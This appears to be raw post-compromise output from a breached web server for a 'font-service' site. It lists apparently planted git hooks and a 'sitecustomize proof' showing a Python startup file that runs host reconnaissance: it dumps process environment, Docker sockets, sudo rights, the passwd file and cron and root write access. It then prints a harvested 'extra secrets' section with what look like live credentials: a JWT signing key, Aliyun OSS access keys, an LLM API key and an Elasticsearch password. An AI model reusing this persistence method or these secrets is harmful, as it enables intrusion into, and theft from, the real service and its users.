==== hooks font ==== total 92 drwxrwsr-x 2 999 988 4096 Nov 3 04:00 . drwxrwsr-x 8 999 988 4096 Jun 17 09:57 .. -rw-rw-r-- 1 999 988 478 Jun 16 12:28 applypatch-msg.sample -rw-rw-r-- 1 999 988 896 Jun 16 12:28 commit-msg.sample -rw-rw-r-- 1 999 988 4726 Jun 16 12:28 fsmonitor-watchman.sample -rw-r--r-- 1 999 988 518 Nov 3 04:00 post-checkout -rw-r--r-- 1 999 988 518 Nov 3 04:00 post-commit -rw-r--r-- 1 999 988 518 Nov 3 04:00 post-merge -rw-r--r-- 1 999 988 518 Nov 3 04:00 post-rewrite -rw-rw-r-- 1 999 988 189 Jun 16 12:28 post-update.sample -rw-rw-r-- 1 999 988 424 Jun 16 12:28 pre-applypatch.sample -rw-rw-r-- 1 999 988 1643 Jun 16 12:28 pre-commit.sample -rw-rw-r-- 1 999 988 416 Jun 16 12:28 pre-merge-commit.sample -rw-rw-r-- 1 999 988 1374 Jun 16 12:28 pre-push.sample -rw-rw-r-- 1 999 988 4898 Jun 16 12:28 pre-rebase.sample -rw-rw-r-- 1 999 988 544 Jun 16 12:28 pre-receive.sample -rw-rw-r-- 1 999 988 1492 Jun 16 12:28 prepare-commit-msg.sample -rw-rw-r-- 1 999 988 2783 Jun 16 12:28 push-to-checkout.sample -rw-rw-r-- 1 999 988 2308 Jun 16 12:28 sendemail-validate.sample -rw-r--r-- 1 999 988 518 Nov 3 04:00 update -rw-rw-r-- 1 999 988 3650 Jun 16 12:28 update.sample ==== hooks master ==== total 16 drwxr-sr-x 2 999 988 4096 Nov 3 04:00 . drwxr-sr-x 3 999 988 4096 Nov 3 04:00 .. -rw-r--r-- 1 999 988 518 Nov 3 04:00 post-checkout -rw-r--r-- 1 999 988 518 Nov 3 04:00 post-merge ==== sitecustomize proof ==== -rw-r--r-- 1 999 988 1096 Nov 3 02:29 /opt/sites/font-service/sitecustomize.py 2:p = "/opt/sites/font-service/S377id.txt" 5: cmd = "id; hostname; uname -a; echo CWD; pwd; echo CMD1; tr \\0 ' ' < /proc/1/cmdline; echo; echo CGROUP; cat /proc/1/cgroup; echo ENV; tr \\0 \\n < /proc/1/environ | head -40; echo STATUS; egrep 'Cap|Uid|Gid|NSpid|Seccomp|NoNewPrivs' /proc/self/status; echo MOUNT; mount | head -40; echo SOCK; ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /var/run/containerd/containerd.sock 2>&1; echo HOME; ls -la /home /root /opt /app 2>&1 | head -50; echo SUDO; sudo -n -l 2>&1 | head; echo OS; cat /etc/os-release; echo IP; ip -4 addr 2>/dev/null | head -16; echo PASSWD; grep -E '999|988|appuser|www' /etc/passwd /etc/group; echo HOSTN; cat /etc/hostname; echo WTEST; test -w /etc/cron.d && echo CRONW || echo CRONno; test -w /root && echo ROOTW || echo ROOTno" ==== font sinks ==== ==== extra secrets ==== ## jwt.php 'e241d8fba4bb09968a09474bb345c291b4330b95e373258fab00b8d8c22de7aa', 'algorithm' => 'HS256', 'expire_minutes' => 60 * 24 * 7 ]; ## oss.php [ 'accessKeyId' => 'LTAIr0O2FuNUnzxz', 'accessKeySecret' => 'VH8Ik1cPCZVxTkofy8is21DGC9UlT3', 'endpoint' => 'oss-cn-shanghai.aliyuncs.com', 'endpoint-internal' => 'oss-cn-shanghai-internal.aliyuncs.com', 'endpoint-cname' => 'file.tukuppt.com', 'endpoint-vpc' => 'vpc100-oss-cn-shanghai.aliyuncs.com', 'bucket' => 'tukuppt-zip' ], 'pub' => [ 'accessKeyId' => 'LTAIr0O2FuNUnzxz', 'accessKeySecret' => 'VH8Ik1cPCZVxTkofy8is21DGC9UlT3', 'endpoint' => 'oss-cn-shanghai.aliyuncs.com', 'endpoint-internal' => 'oss-cn-shanghai-internal.aliyuncs.com', 'endpoint-cname' => 'pub.tukuppt.com', 'endpoint-vpc' => 'vpc100-oss-cn-shanghai.aliyuncs.com', 'bucket' => 'tukuppt-pub' ], 'img' => [ 'accessKeyId' => 'LTAIr0O2FuNUnzxz', 'accessKeySecret' => 'VH8Ik1cPCZVxTkofy8is21DGC9UlT3', 'endpoint' => 'oss-cn-shanghai.aliyuncs.com', 'endpoint-internal' => 'oss-cn-shanghai-internal.aliyuncs.com', 'endpoint-cname' => 'img2.tukuppt.com', 'endpoint-vpc' => 'vpc100-oss-cn-shanghai.aliyuncs.com', 'bucket' => 'tukuppt-img' ], 'downld' => [ 'accessKeyId' => 'LTAIr0O2FuNUnzxz', 'accessKeySecret' => 'VH8Ik1cPCZVxTkofy8is21DGC9UlT3', 'endpoint' => 'oss-cn-shanghai.aliyuncs.com', 'endpoint-internal' => 'oss-cn-shanghai-internal.aliyuncs.com', 'endpoint-cname' => 'file5.tukuppt.com', 'endpoint-vpc' => 'vpc100-oss-cn-shanghai.aliyuncs.com', 'bucket' => 'tukuppt-downld' ] ]; ## ai_writing.php 'https://ark.cn-beijing.volces.com/api/v3', 'llm_api_key' => 'cfc4c753-3319-4177-ad07-044a76bc247b', 'llm_model' => 'deepseek-v4-pro-260425', 'llm_verify_ssl' => false, 'llm_enable_search' => true, 'request_timeout' => 240, 'stream_idle_timeout_seconds' => 60, 'research_evidence_timeout_seconds' => 75, 'report_body_thinking' => false, 'stream_retry_attempts' => 3, 'stream_retry_backoff_ms' => 400, // 正文默认复用大纲阶段的结构化资料,仅在章节资料确有缺口时补充搜索。 'body_search_snapshot_ttl' => 24 * 3600, 'body_search_max_per_run' => 2, // Search only evidence gaps; 0 disables supplemental searches, 1 means one. 'academic_search_max_per_run' => 4, 'academic_evidence_timeout_seconds' => 45, 'academic_body_thinking' => false, 'timing_log_enabled' => true, 'academic_final_audit_enabled' => true, // Audit limits never exceed request_timeout. Revision checks use prepared // evidence without deep reasoning; the first semantic review keeps it. 'academic_audit_timeout_seconds' => 120, 'academic_revision_audit_timeout_seconds' => 45, 'academic_audit_total_timeout_seconds' => 180, 'academic_audit_thinking' => false, // Read at most three already observed public sources per run; cache the // actual text so metadata-only search results can support cited analysis. 'academic_public_source_read_enabled' => true, // Only topic-matched excerpts enter the outline/chapter prompts; uploaded // source documents themselves remain in external storage. 'academic_reference_excerpt_chars' => 1800, 'max_iterations' => 18, // New creations use a persisted genre/length contract. Existing drafts keep their saved contract. 'writing_strategy_enabled' => true, 'writing_intent_model_enabled' => true, 'chapter_max_attempts' => 3, 'max_empty_args' => 3, 'oss_config' => 'ai_writing_oss.pub', 'oss_prefix' => 'ai-writing/', 'public_base_url' => 'https://pub.tukuppt.com/', 'max_reference_files' => 8, 'max_file_size' => 5 * 1024 * 1024, // Maximum text accepted by the main writing/chat composer in one request. 'max_input_chars' => 100000, 'allowed_extensions' => ['txt', 'md', 'doc', 'docx', 'pdf'], 'read_chunk_chars' => 12000, // Dedicated paper similarity-reduction workflow. Source papers are // processed in bounded semantic chunks and saved as a new document. // Full-file expression editing has its own prompt and retry policy. 'text_naturalize_max_chars' => 60000, 'text_naturalize_chunk_chars' => 1600, 'text_naturalize_max_retries' => 2, 'paper_deduplicate_max_chars' => 60000, 'paper_deduplicate_chunk_chars' => 1600, // Three attempts in total. The skill retains the best safe attempt, so a // worse retry can no longer overwrite an earlier, better rewrite. 'paper_deduplicate_max_retries' => 2, 'message_history_limit' => 40, // Writing requests keep only a bounded recent conversation window. The // chapter loop has an additional tool-history compaction checkpoint. 'message_history_chars' => 8000, 'qa_history_limit' => 6, 'qa_history_chars' => 6000, // The controller renews this lease while model events are arriving. Five // minutes is longer than one upstream read timeout, but short enough to // recover a worker that was killed without running its finally block. 'run_lock_timeout' => 300, 'minimum_balance' => 100, 'free_chars' => 1000, 'tmp_dir' => RUNTIME_PATH . 'ai_writing_tmp' . DIRECTORY_SEPARATOR, // PDF 由独立文档解析服务从 OSS 直接读取,必须与 AI 写作上传 bucket 一致。 'document_parse_space' => 'tukuppt-pub', 'oss_upload_endpoint' => 'tukuppt-pub.oss-cn-shanghai.aliyuncs.com', 'oss' => [ 'pub' => [ 'accessKeyId' => 'LTAIr0O2FuNUnzxz', 'accessKeySecret' => 'VH8Ik1cPCZVxTkofy8is21DGC9UlT3', 'endpoint' => 'oss-cn-shanghai.aliyuncs.com', 'endpoint-internal' => 'oss-cn-shanghai-internal.aliyuncs.com', 'endpoint-cname' => 'tukuppt-pub.oss-cn-shanghai.aliyuncs.com', 'endpoint-vpc' => 'vpc100-oss-cn-shanghai.aliyuncs.com', 'bucket' => 'tukuppt-pub', ], ], ]; \think\Config::set('ai_writing_oss', $config['oss']); return $config; ## elasticsearch.php [ 'host' => 'http://elastic:3OcwKtwZ4xQYtuG+C_OJ@es-cn-2ml4ibh0i0002v1ut.elasticsearch.aliyuncs.com:9200' ] ];